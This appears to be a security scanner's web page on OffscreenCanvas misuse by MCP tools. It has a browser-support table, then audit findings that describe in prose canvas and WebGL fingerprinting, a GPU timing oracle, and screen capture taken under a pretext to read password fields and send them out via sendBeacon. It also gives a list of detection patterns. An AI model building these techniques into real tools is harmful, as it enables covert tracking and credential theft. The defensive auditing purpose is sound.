| Chrome 69+ (desktop + Android) | Full support | Full support | OffscreenCanvas in Workers available since Chrome 69. WebGL and WebGL2 contexts fully supported. WEBGL_debug_renderer_info available. transferToImageBitmap() and createImageBitmap() both supported in Workers. ImageCapture.grabFrame() returns ImageBitmap compatible with OffscreenCanvas. |
| Firefox 105+ (desktop) | Full support | Full support | OffscreenCanvas in Workers enabled by default since Firefox 105. WEBGL_debug_renderer_info available unless privacy.resistFingerprinting is enabled. With resist-fingerprinting enabled, GPU renderer strings are spoofed but OffscreenCanvas rendering still works — timing oracle still functional. |
| Safari 16.4+ (macOS + iOS) | Full support | Full support | OffscreenCanvas in Workers enabled since Safari 16.4. WebGL supported; WebGL2 in Safari 15+. WEBGL_debug_renderer_info exposes "Apple M-series GPU" on Apple Silicon. Canvas 2D fingerprint variance present but mitigated slightly by WebKit's sub-pixel rounding. |
| Edge 79+ (Chromium) | Full support | Full support | Chromium-based. Identical to Chrome for all OffscreenCanvas and WebGL behaviors. Windows systems expose full DirectX adapter strings via UNMASKED_RENDERER_WEBGL. |
| Samsung Internet 10+ | Full support | Full support | Chromium-based. Full OffscreenCanvas in Workers. Runs on Android devices with Adreno, Mali, and PowerVR GPUs — all expose distinctive renderer strings via WEBGL_debug_renderer_info. |
| Electron (all platforms) | Full support | Full support | Same as Chrome. OffscreenCanvas Workers have full access to WEBGL_debug_renderer_info. On macOS and Windows, the full GPU model string is exposed. Electron apps can also use desktopCapturer to obtain screen frames, which can then be processed in OffscreenCanvas Workers. |
SkillAudit findings
new OffscreenCanvas(400, 200), draws a fingerprinting scene (multilingual text with emoji via fillText, linear gradient, arc, bezier curve), reads pixel data via getImageData(0, 0, 400, 200), computes an FNV-1a hash, and posts the result to the main thread for exfiltration via sendBeacon. Produces a per-device canvas fingerprint with zero DOM footprint — no <canvas> element in DOM, no MutationObserver event, no HTMLCanvasElement prototype override effective. Stable across sessions. −22 pts
new OffscreenCanvas(1, 1) in a Worker, obtains a WebGL context, and reads UNMASKED_RENDERER_WEBGL and UNMASKED_VENDOR_WEBGL via WEBGL_debug_renderer_info extension — the highest-entropy browser fingerprint value (15–18 bits). Also reads MAX_TEXTURE_SIZE, MAX_VERTEX_ATTRIBS, ALIASED_LINE_WIDTH_RANGE, and full extension list for additional entropy. No visible WebGL canvas in the DOM. GPU model uniquely identifies the device across all sessions. −30 pts
OffscreenCanvas and runs a calibrated render workload (100 iterations of gradient fills, large drawImage calls, alpha-composited arcs) timed with performance.now(). Calls transferToImageBitmap() to force GPU pipeline flush before reading the stop time. Posts timing in milliseconds back to main thread, classifying GPU tier (high-end discrete, mid-range discrete, integrated, software renderer). Second-pass timing ratio detects concurrent GPU-using background processes. Works even when WEBGL_debug_renderer_info is blocked. −12 pts
getDisplayMedia stream under a pretext, then uses ImageCapture.grabFrame() to capture individual frames at 5 fps, transfers each frame as an ImageBitmap to a Worker via postMessage with transfer, draws the bitmap into a Worker-side OffscreenCanvas, and calls getImageData() to read raw pixels — bypassing tainted-canvas restrictions because the source is a same-origin media capture. Worker performs OCR preprocessing (grayscale variance for text detection), skin-tone face region detection, and targeted extraction of known screen regions (password fields, form inputs). Results exfiltrated via sendBeacon and fetch with keepalive. −25 pts
SkillAudit check: SkillAudit's static analysis detects new OffscreenCanvas( constructors inside Worker-context code; flags WebGL context creation on OffscreenCanvas combined with getExtension('WEBGL_debug_renderer_info') access; identifies performance.now() timing brackets around canvas rendering loops as GPU timing oracles; detects createImageBitmap calls on media capture frames combined with getImageData in Worker context; and flags sendBeacon or fetch calls transmitting pixel data or GPU renderer strings to remote endpoints. Audit your MCP tool →
See also: MCP server Generic Sensor API deep dive (sensor-based fingerprinting context) · MCP server Pointer Events API security · MCP server WebGL security
Run a free SkillAudit scan
Paste a GitHub URL to detect OffscreenCanvas API misuse and 50+ other MCP security checks in a graded report.
Audit this MCP tool →